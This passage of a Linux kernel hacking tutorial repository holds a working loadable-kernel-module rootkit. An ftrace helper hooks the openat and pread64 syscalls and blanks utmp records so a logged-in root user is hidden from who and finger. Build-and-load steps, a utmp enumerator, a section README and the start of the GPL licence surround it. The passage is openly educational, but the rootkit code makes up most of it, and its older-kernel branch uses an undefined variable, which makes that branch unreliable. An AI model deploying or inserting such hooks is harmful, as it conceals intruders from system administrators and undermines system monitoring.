`finger` will. In particular, it reads the entire contents of `/var/run/utmp` all at once, rather than line-by-line (which would be the "normal" way to do it). This means that we can loop through the entries ourselves manually and discover that `root` really is logged in, even when `who` and `finger` tell us it isn't. 12 | 13 | To use: 14 | * Build with `make` 15 | * Load with `insmod rootkit.ko` 16 | * In another terminal, spawn a root shell via `sudo screen -S root_login` 17 | * Back in the non-root user's terminal, run `who` or `finger` and confirm that `root` does NOT appear in the list 18 | * Unload the module with `rmmod rootkit` 19 | * Run `who` or `finger` again and observe that `root` now shows up! 20 | 21 | ![hiding users](./hiding_logged_in_users.png) 22 | 23 | (In the above screenshot, I have `sudo screen -S root_login` running in a separate window) 24 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/enum_utmp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define UTMP_SIZE 384 6 | #define BUFSIZE (UTMP_SIZE * 32) 7 | 8 | int main(void) 9 | { 10 | int print_info(struct utmp *buf, int entry); 11 | int get_cmdline(pid_t pid, char *buf); 12 | 13 | FILE *fp; 14 | struct utmp *buf; 15 | 16 | /* 17 | * Open /var/run/utmp and check for errors 18 | */ 19 | fp = fopen("/var/run/utmp", "r"); 20 | if(fp < 0) 21 | return -1; 22 | 23 | /* 24 | * Allocate ourselves a buffer to copy the contents of /var/run/utmp into 25 | */ 26 | buf = malloc(BUFSIZE); 27 | if(!buf) 28 | return -1; 29 | 30 | /* 31 | * Copy the contents of /var/run/utmp into our buffer 32 | */ 33 | fread((void *)buf, sizeof(struct utmp), BUFSIZE / sizeof(struct utmp), fp); 34 | 35 | /* 36 | * Loop over each UTMP_SIZE'th chunk of the buffer, calling print_info on each entry 37 | */ 38 | for ( int entry = 0 ; (entry * sizeof(struct utmp)) < BUFSIZE ; entry++ ) 39 | { 40 | print_info(buf, entry); 41 | } 42 | 43 | /* 44 | * Clean up and return 45 | */ 46 | free(buf); 47 | fclose(fp); 48 | return 0; 49 | } 50 | 51 | /* 52 | * print_info() takes a buffer of utmp structures, and an entry offset 53 | * to which structure we want. It then neatly prints out some of the 54 | * entries within the struct. 55 | */ 56 | int print_info( struct utmp *buf, int entry ) 57 | { 58 | int get_cmdline(pid_t pid, char *buf); 59 | 60 | /* 61 | * Jump ahead to the entry we want 62 | */ 63 | buf += entry; 64 | 65 | /* 66 | * If ut_type is EMPTY, then the entry tells us nothing, so don't bother 67 | */ 68 | if(buf->ut_type == EMPTY) 69 | return 0; 70 | 71 | printf("[Entry %d]\n", entry); 72 | /* 73 | * ut_type tells us what kind of record this entry is 74 | * EMPTY: contains nothing of interest 75 | * RUN_LVL: change in runlevel 76 | * BOOT_TIME: stores time the system botted (ut_tv) 77 | * NEW_TIME: stores time the sysclock changed (ut_tv) 78 | * OLD_TIME: stores time before sysclock changed (ut_tv) 79 | * INIT_PROCESS: process information about init (PID 1) 80 | * LOGIN_PROCESS: process information about a login session 81 | * USER_PROCESS: process information about a "normal" process 82 | * DEAD_PROCESS: process was terminated 83 | */ 84 | printf(" ut_type = "); 85 | switch(buf->ut_type) 86 | { 87 | case EMPTY: 88 | printf("EMPTY\n"); 89 | break; 90 | 91 | case RUN_LVL: 92 | printf("RUN_LVL\n"); 93 | break; 94 | 95 | case BOOT_TIME: 96 | printf("BOOT_TIME\n"); 97 | break; 98 | 99 | case NEW_TIME: 100 | printf("NEW_TIME\n"); 101 | break; 102 | 103 | case OLD_TIME: 104 | printf("OLD_TIME\n"); 105 | break; 106 | 107 | case INIT_PROCESS: 108 | printf("INIT_PROCESS\n"); 109 | break; 110 | 111 | case LOGIN_PROCESS: 112 | printf("LOGIN_PROCESS\n"); 113 | break; 114 | 115 | case USER_PROCESS: 116 | printf("USER_PROCESS\n"); 117 | break; 118 | 119 | case DEAD_PROCESS: 120 | printf("DEAD_PROCESS\n"); 121 | break; 122 | } 123 | 124 | /* 125 | * ut_pid is the PID of the process associated with the logon 126 | * To get the name of the process, we call get_cmdline() 127 | */ 128 | printf(" ut_pid = %d", buf->ut_pid); 129 | char *cmdline = malloc(1024); 130 | if (cmdline != NULL) 131 | { 132 | get_cmdline(buf->ut_pid, cmdline); 133 | printf(" - \"%s\"\n", cmdline); 134 | free(cmdline); 135 | } 136 | else 137 | printf("\n"); 138 | 139 | /* 140 | * u_line is the name of the TTY under /dev 141 | */ 142 | printf(" ut_line = %s\n", buf->ut_line); 143 | 144 | /* 145 | * ut_user is the name of the user associated to the logon 146 | */ 147 | printf(" ut_user = %s\n", buf->ut_user); 148 | 149 | printf("\n"); 150 | 151 | return 0; 152 | } 153 | 154 | /* 155 | * get_cmdline() opens up /proc//cmdline and copies the contents into a buffer 156 | */ 157 | int get_cmdline(pid_t pid, char *cmdline) 158 | { 159 | FILE *fp; 160 | char filename[255], contents[1024]; 161 | 162 | /* 163 | * Form the correct pathname 164 | */ 165 | sprintf(filename, "/proc/%d/cmdline", pid); 166 | 167 | fp = fopen(filename, "r"); 168 | if(fp != NULL) 169 | { 170 | /* 171 | * Copy from the file descriptor into contents, and then from contents into 172 | * cmdline (which is passed as an argument). 173 | */ 174 | fgets(contents, 1024, fp); 175 | sprintf(cmdline, "%s", contents); 176 | } 177 | 178 | return 0; 179 | } 180 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/hiding_logged_in_users.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xcellerator/linux_kernel_hacking/15304817e912a526ce57336011a1cc71aea953b2/3_RootkitTechniques/3.9_hiding_logged_in_users/hiding_logged_in_users.png -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utmp.h" 9 | #include "ftrace_helper.h" 10 | 11 | #define HIDDEN_USER "root" 12 | 13 | MODULE_LICENSE("GPL"); 14 | MODULE_AUTHOR("TheXcellerator"); 15 | MODULE_DESCRIPTION("Hiding logged in users"); 16 | MODULE_VERSION("0.01"); 17 | 18 | /* After Kernel 4.17.0, the way that syscalls are handled changed 19 | * to use the pt_regs struct instead of the more familiar function 20 | * prototype declaration. We have to check for this, and set a 21 | * variable for later on */ 22 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 23 | #define PTREGS_SYSCALL_STUBS 1 24 | #endif 25 | 26 | /* 27 | * This will store the file descriptor that we are going to tamper pread64()'s to 28 | */ 29 | int tamper_fd; 30 | 31 | #ifdef PTREGS_SYSCALL_STUBS 32 | static asmlinkage long (*orig_openat)(const struct pt_regs *); 33 | static asmlinkage long (*orig_pread64)(const struct pt_regs *); 34 | 35 | /* 36 | * The hook for sys_openat() 37 | * We have to check which filename is being opened. If it matches "/var/run/utmp", 38 | * then we store the file descriptor (return value) in tamper_fd for later. 39 | */ 40 | asmlinkage int hook_openat(const struct pt_regs *regs) 41 | { 42 | //int dfd = regs->di; 43 | char *filename = (char *)regs->si; 44 | //int flags = regs->dx; 45 | //umode_t mode = regs->r10; 46 | 47 | char *kbuf; 48 | long error; 49 | char *target = "/var/run/utmp"; 50 | int target_len = 14; 51 | 52 | /* 53 | * We need a buffer to copy filename into 54 | */ 55 | kbuf = kzalloc(NAME_MAX, GFP_KERNEL); 56 | if(kbuf == NULL) 57 | return orig_openat(regs); 58 | 59 | /* 60 | * Copy filename from userspace into our kernel buffer 61 | */ 62 | error = copy_from_user(kbuf, filename, NAME_MAX); 63 | if(error) 64 | return orig_openat(regs); 65 | 66 | /* 67 | * Compare filename to "/var/run/utmp" 68 | */ 69 | if( memcmp(kbuf, target, target_len) == 0 ) 70 | { 71 | /* 72 | * Save the file descriptor in tamper_fd, clean up and return 73 | */ 74 | tamper_fd = orig_openat(regs); 75 | kfree(kbuf); 76 | return tamper_fd; 77 | } 78 | 79 | /* 80 | * Clean up and return 81 | */ 82 | kfree(kbuf); 83 | return orig_openat(regs); 84 | } 85 | 86 | /* 87 | * The hook for sys_pread64() 88 | * First, we check if the file descriptor is the one stored in tamper_fd. 89 | * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, 90 | * and check if the ut_user entry of the utmp struct is the user we want to hide. 91 | * Finally, if it matches, then we will the buffer with 0x0 before copying it back 92 | * to userspace and returning. 93 | */ 94 | asmlinkage int hook_pread64(const struct pt_regs *regs) 95 | { 96 | int fd = regs->di; 97 | char *buf = (char *)regs->si; 98 | size_t count = regs->dx; 99 | //loff_t pos = regs->r10; 100 | 101 | char *kbuf; 102 | struct utmp *utmp_buf; 103 | long error; 104 | int i, ret; 105 | 106 | /* 107 | * Check that we're supposed to be tampering with this fd 108 | * Better also be sure that tamper_fd isn't 0,1, or 2! 109 | */ 110 | if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) 111 | { 112 | /* 113 | * Allocate a kernel buffer, and check it worked 114 | */ 115 | kbuf = kzalloc(count, GFP_KERNEL); 116 | if (kbuf == NULL) 117 | return orig_pread64(regs); 118 | 119 | /* 120 | * Do the real syscall, so that buf gets filled for us 121 | */ 122 | ret = orig_pread64(regs); 123 | 124 | /* 125 | * Copy buf into kbuf so we can look at it 126 | * If it fails, just return without doing anything 127 | */ 128 | error = copy_from_user(kbuf, buf, count); 129 | if(error != 0) 130 | return ret; 131 | 132 | /* 133 | * Check if ut_user is the user we want to hide 134 | */ 135 | utmp_buf = (struct utmp *)kbuf; 136 | if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) 137 | { 138 | /* 139 | * Overwrite kbuf with 0x0 140 | */ 141 | for ( i = 0 ; i < count ; i++ ) 142 | kbuf[i] = 0x0; 143 | 144 | /* 145 | * Copy kbuf back to buf in userspace 146 | * If it fails, there's nothing we can do, so just clean up and return 147 | */ 148 | error = copy_to_user(buf, kbuf, count); 149 | 150 | kfree(kbuf); 151 | return ret; 152 | } 153 | 154 | /* 155 | * We intercepted a read to /var/run/utmp, but didn't find the user 156 | * we want to hide, so clean up and return 157 | */ 158 | kfree(kbuf); 159 | return ret; 160 | } 161 | 162 | /* 163 | * This isn't a read to /var/run/utmp, so just return 164 | */ 165 | return orig_pread64(regs); 166 | } 167 | #else 168 | /* This is the old way of declaring a syscall hook */ 169 | static asmlinkage long (*orig_openat)(int dfd, const char __user *filename, int flags, umode_t mode); 170 | static asmlinkage long (*orig_pread64)(int fd, const __user *buf, size_t count, loff_t pos); 171 | 172 | /* 173 | * The hook for sys_openat() 174 | * We have to check which filename is being opened. If it matches "/var/run/utmp", 175 | * then we store the file descriptor (return value) in tamper_fd for later. 176 | */ 177 | static asmlinkage int hook_openat(int dfd, const char __user *filename, int flags, umode_t mode) 178 | { 179 | char *kbuf; 180 | long error; 181 | char *target = "/var/run/utmp"; 182 | int target_len = 14; 183 | 184 | /* 185 | * We need a buffer to copy filename into 186 | */ 187 | kbuf = kzalloc(NAME_MAX, GFP_KERNEL); 188 | if(kbuf == NULL) 189 | return orig_openat(regs); 190 | 191 | /* 192 | * Copy filename from userspace into our kernel buffer 193 | */ 194 | error = copy_from_user(kbuf, filename, NAME_MAX); 195 | if(error) 196 | return orig_openat(regs); 197 | 198 | /* 199 | * Compare filename to "/var/run/utmp" 200 | */ 201 | if( memcmp(kbuf, target, target_len) == 0 ) 202 | { 203 | /* 204 | * Save the file descriptor in tamper_fd, clean up and return 205 | */ 206 | tamper_fd = orig_openat(regs); 207 | kfree(kbuf); 208 | return tamper_fd; 209 | } 210 | 211 | /* 212 | * Clean up and return 213 | */ 214 | kfree(kbuf); 215 | return orig_openat(regs); 216 | } 217 | 218 | /* 219 | * The hook for sys_pread64() 220 | * First, we check if the file descriptor is the one stored in tamper_fd. 221 | * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, 222 | * and check if the ut_user entry of the utmp struct is the user we want to hide. 223 | * Finally, if it matches, then we will the buffer with 0x0 before copying it back 224 | * to userspace and returning. 225 | */ 226 | static asmlinkage int hook_pread64(int fd, const __user *buf, size_t count, loff_t pos) 227 | { 228 | char *kbuf; 229 | struct utmp *utmp_buf; 230 | long error; 231 | int i, ret; 232 | 233 | /* 234 | * Check that we're supposed to be tampering with this fd 235 | * Better also be sure that tamper_fd isn't 0,1, or 2! 236 | */ 237 | if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) 238 | { 239 | /* 240 | * Allocate a kernel buffer, and check it worked 241 | */ 242 | kbuf = kzalloc(count, GFP_KERNEL); 243 | if (kbuf == NULL) 244 | return orig_pread64(regs); 245 | 246 | /* 247 | * Do the real syscall, so that buf gets filled for us 248 | */ 249 | ret = orig_pread64(regs); 250 | 251 | /* 252 | * Copy buf into kbuf so we can look at it 253 | * If it fails, just return without doing anything 254 | */ 255 | error = copy_from_user(kbuf, buf, count); 256 | if(error != 0) 257 | return ret; 258 | 259 | /* 260 | * Check if ut_user is the user we want to hide 261 | */ 262 | utmp_buf = (struct utmp *)kbuf; 263 | if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) 264 | { 265 | /* 266 | * Overwrite kbuf with 0x0 267 | */ 268 | for ( i = 0 ; i < count ; i++ ) 269 | kbuf[i] = 0x0; 270 | 271 | /* 272 | * Copy kbuf back to buf in userspace 273 | * If it fails, there's nothing we can do, so just clean up and return 274 | */ 275 | error = copy_to_user(buf, kbuf, count); 276 | 277 | kfree(kbuf); 278 | return ret; 279 | } 280 | 281 | /* 282 | * We intercepted a read to /var/run/utmp, but didn't find the user 283 | * we want to hide, so clean up and return 284 | */ 285 | kfree(kbuf); 286 | return ret; 287 | } 288 | 289 | /* 290 | * This isn't a read to /var/run/utmp, so just return 291 | */ 292 | return orig_pread64(regs); 293 | } 294 | #endif 295 | 296 | /* Declare the struct that ftrace needs to hook the syscall */ 297 | static struct ftrace_hook hooks[] = { 298 | HOOK("__x64_sys_openat", hook_openat, &orig_openat), 299 | HOOK("__x64_sys_pread64", hook_pread64, &orig_pread64), 300 | }; 301 | 302 | /* Module initialization function */ 303 | static int __init rootkit_init(void) 304 | { 305 | /* Hook the syscall and print to the kernel buffer */ 306 | int err; 307 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 308 | if(err) 309 | return err; 310 | 311 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 312 | 313 | return 0; 314 | } 315 | 316 | static void __exit rootkit_exit(void) 317 | { 318 | /* Unhook and restore the syscall and print to the kernel buffer */ 319 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 320 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 321 | } 322 | 323 | module_init(rootkit_init); 324 | module_exit(rootkit_exit); 325 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h: -------------------------------------------------------------------------------- 1 | /* 2 | * See "man utmp" 3 | */ 4 | 5 | #define EMPTY 0 6 | #define RUN_LVL 1 7 | #define BOOT_TIME 2 8 | #define NEW_TIME 3 9 | #define OLD_TIME 4 10 | #define INIT_PROCESS 5 11 | #define LOGIN_PROCESS 6 12 | #define USER_PROCESS 7 13 | #define DEAD_PROCESS 8 14 | #define ACCCOUNTING 9 15 | 16 | #define UT_LINESIZE 32 17 | #define UT_NAMESIZE 32 18 | #define UT_HOSTSIZE 256 19 | 20 | struct exit_status { 21 | short int e_termination; 22 | short int e_exit; 23 | }; 24 | 25 | struct utmp { 26 | short ut_type; 27 | pid_t ut_pid; 28 | char ut_line[UT_LINESIZE]; 29 | char ut_id[4]; 30 | char ut_user[UT_NAMESIZE]; 31 | char ut_host[UT_HOSTSIZE]; 32 | struct exit_status ut_exit; 33 | 34 | #if defined __WORDSIZE_COMPAT32 35 | int32_t ut_session; 36 | struct { 37 | int32_t tv_sec; 38 | int32_t tv_usec; 39 | } ut_tv; 40 | #else 41 | long ut_session; 42 | // struct timeval ut_tv; 43 | #endif 44 | 45 | int32_t ut_addr_v6[4]; 46 | char __unused[20]; 47 | }; 48 | 49 | -------------------------------------------------------------------------------- /3_RootkitTechniques/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3: Rootkit Techniques 4 | 5 | > Updated to work with kernel 5.7+ 6 | 7 | There are two main way to hook syscalls via a kernel module. The first, old-fashioned way is to directly modify the `sys_call_table` structure in kernel memory. This is done by modifying the function pointer in this table corresponding to the syscall we're targetting to temporarily point to our own version. By saving the original value of this pointer we can both maintain the original functionality as well as restore the table when we're done. This is what is done in [Section 3.1](./3.1_syscall_hooking). 8 | 9 | The other more modern method is to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html). While it's meant to be used for debugging the kernel, we can use it to replace the arbitrary functions in memory with a hook instead. If you want to understand in detail what's going on with ftrace, then I suggest taking a look at the documentation linked. 10 | 11 | As far as the function hooking goes, it's quite simple. We give a function declaration for the original function, then we write the function hook. Then, we define the `hooks` array which contains `ftrace_hook` structs containing the name, hook function address and original function address. Once we enter the module initialization function, we just call the `fh_install_hooks()` function defined in `ftrace_helper.h` and pass the `hooks` array to it. This does all the heavy lifting for us. Likewise, when module exit function gets called, we just call the `fh_remove_hooks()` function. 12 | 13 | #### References/Further Reading 14 | 15 | * [Diamorphine](https://github.com/m0nad/Diamorphine) 16 | * [Reptile](https://github.com/f0rb1dd3n/Reptile) 17 | * [Ftrace](https://github.com/ilammy/ftrace-hook) 18 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the 